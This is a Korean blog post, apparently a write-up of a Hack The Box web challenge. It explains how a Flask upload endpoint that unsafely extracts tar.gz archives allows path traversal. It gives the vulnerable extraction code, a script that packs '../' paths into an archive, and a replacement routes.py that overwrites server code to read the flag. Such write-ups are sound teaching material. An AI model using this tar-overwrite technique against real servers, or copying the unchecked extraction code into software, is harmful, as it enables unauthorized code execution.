티스토리 뷰
문제 요약
tarfile 의 path-like object 를 이용한 path traversal 으로 server’s file overwrite (RCE)
문제 개요
첫 화면은 위와 같이 파일업로드 기능 외에는 별 다른 기능이 존재하지 않습니다.
제공된 소스코드 중 주요 코드만 보면 아래와 같습니다.
파일 업로드 타겟
// /app/application/blueprints/routes.py
@api.route('/unslippy', methods=['POST'])
def cache():
if 'file' not in request.files:
return abort(400)
extraction = extract_from_archive(request.files['file'])
if extraction:
return {"list": extraction}, 200
return '', 204
/unslippy 경로로 파일 업로드 POST 요청 시에 업로드되는 파일에 대하여 extract_from_archive 함수를 실행합니다. 그리고 그 반환 값을 index.html 템플릿 파일에 렌더링 합니다.
Path Traversal 타겟
import functools, tarfile, tempfile, os
from application import main
generate = lambda x: os.urandom(x).hex()
def extract_from_archive(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
os.makedirs(extractdir, exist_ok=True)
extracted_filenames = []
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
extracted_filenames.append(filename)
continue
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return extracted_filenames
return False
tar.gz 파일인지 확인하고, 맞다면 압축을 임시폴더에 우선 풀고, UPLOAD_FOLDER/랜덤한값을가진디렉토리 경로를 생성하고, 그 경로에 압축푼 파일들을 옮기거나 이미 존재한다면 덮어쓰기를 한다고 합니다.
보다시피 filename 부분에서 문자열 합치기를 하고 있고, 이 곳에서 Path Traversal 문제가 발생하게 됩니다.
tarfile 모듈
그리고 무엇보다 tarfile 모듈에서는 문서(https://docs.python.org/ko/3/library/tarfile.html#module-tarfile)에도 정의되어 있다시피 path-like object 를 받아들일 수 있습니다. 상대경로 형태로 파일을 압축할 수 있다는 의미입니다.
실제로 이를 Python 코드로 작성하여 결과를 확인해보았습니다.
// make_tarfile.py
import tarfile
tar = tarfile.open('test.tar.gz', 'w:gz')
tar.add('../../../../application') # application 디렉토리를 압축합니다.
tar.close()
그랬더니 아래와 같이 test.tar.gz 파일이 만들어졌습니다.
그리고 압축파일을 열어보면 아래와 같이 구성되어 있음을 확인할 수 있습니다.
신기하게도 상대경로를 모두 포함하고 있음을 알 수 있습니다.
Exploit
일단 문제에서 Flag의 경로는 /app/flag 임을 알 수 있습니다.
그리고 업로드가 되는 경로는 config.py를 확인해보면 알 수 있듯이 아래와 같습니다.
class Config(object):
SECRET_KEY = generate(50)
UPLOAD_FOLDER = '/app/application/static/archives'
extractdir 은 아래와 같습니다.
extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
// extractdir = '/app/application/static/archives/' + 랜덤한숫자들 + ''
그리고 Path Traversal 에 취약한 부분은 아래와 같습니다.
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
extracted_filenames.append(filename)
continue
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
저는 이번 문제를 풀기위해서 /app/flag 파일의 내용을 읽어와서 출력해주는 router 를 별도로 만들었습니다.
그러기 위해서는 /app/application/blueprints/routes.py 파일의 내용을 수정해야할 필요가 있었습니다. 아래와 같이 작성하였습니다.
from flask import Blueprint, request, render_template, abort
from application.util import extract_from_archive
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@web.route('/flag')
def flag():
f = open('/app/flag', 'r')
data = f.read()
return data, 200
@api.route('/unslippy', methods=['POST'])
def cache():
if 'file' not in request.files:
return abort(400)
extraction = extract_from_archive(request.files['file'])
if extraction:
return {"list": extraction}, 200
return '', 204
그리고 tarfile 모듈을 이용하여 위 코드 내용이 담긴 blueprints/routes.py 을 만들고 이를 하위 경로로 가지고 있는 application 디렉토리를 압축하였습니다.
그리고 이를 문제 사이트에 업로드하였더니 아래와 같이 나왔습니다.
정상적으로 업로드되었다면 실제로 routes.py 파일이 바뀌어서 제가 작성한 /flag 라는 경로가 /app/flag 에 위치해있는 파일의 내용을 읽어들여서 화면에 출력해줄 것입니다. 아래와 같이 잘 나오는 걸 확인할 수 있습니다.
- 끝 -
추신 : 이번 문제는 60번째로 클리어했다고 하네요. 비교적 쉬우면서 재밌는 문제였던 것 같습니다.
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] - APKey Writeup(문제풀이) (3) | 2021.12.03 |
---|---|
[Hackthebox] - Don't Overreact Writeup(문제풀이) (0) | 2021.12.01 |
[Hackthebox] - Cat(Mobile) Writeup(문제풀이) (0) | 2021.11.29 |
[FTZ] level9 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.11.25 |
[Hackthebox] - AbuseHumanDB Writeup(문제풀이) (0) | 2021.11.24 |